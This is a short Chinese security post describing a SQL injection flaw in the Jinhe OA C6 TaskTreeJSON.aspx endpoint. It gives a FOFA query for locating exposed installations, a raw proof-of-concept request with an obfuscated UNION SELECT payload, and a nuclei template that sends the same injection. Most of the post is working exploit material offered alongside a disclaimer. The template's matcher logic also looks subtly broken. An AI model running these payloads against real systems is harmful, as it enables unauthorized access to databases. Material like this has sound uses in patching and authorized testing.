金和OA TaskTreeJSON.aspx SQL注入

勾八

1个月前发布

100

免责声明

请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

漏洞描述：

金和OA C6 TaskTreeJSON.aspx 接口处存在SQL注入漏洞

影响版本：

FOFA:

app="金和网络-金和OA"

POC：

POST /c6/Jhsoft.Web.dailytaskmanage/TaskTreeJSON.aspx/ HTTP/1.1
Host: xxx.com
Content-Type: application/x-www-form-urlencoded

id='/**/UniOn/**/all/**/SelECt/**/NULL,@@verSion,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

返回内容中会存在SQL版本信息，可以根据返回内容是否存在”Microsoft SQL Server”或者”MySQL”进行判断是否存在漏洞

nuclei模板：

id: jhoa-sql-injection

info:
  name: 金和OA SQL Injection Vulnerability
  author: ProjectDiscoveryAI
  severity: high
  description: |
    This template detects SQL injection vulnerability in the 金和OA platform's daily task manager endpoint.
  tags: sql-injection, oa, web

http:
  - raw:
      - |
        GET /C6/JHSoft.Web.DailyTaskManage/TaskTreeJSON.aspx/?id=1%27+union+all+select+null%2C%28select+@@VERSION%29%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull--+ HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        X-Requested-With: XMLHttpRequest
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
        Accept: application/json, text/javascript, */*; q=0.01
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Microsoft SQL Server"
          - "MySQL"
      - type: regex
        part: body
        regex:
          - "@@VERSION"

通过nuclei模板快速定位内部资产是否存在安全隐患

——–

评分

欢迎为Ta评分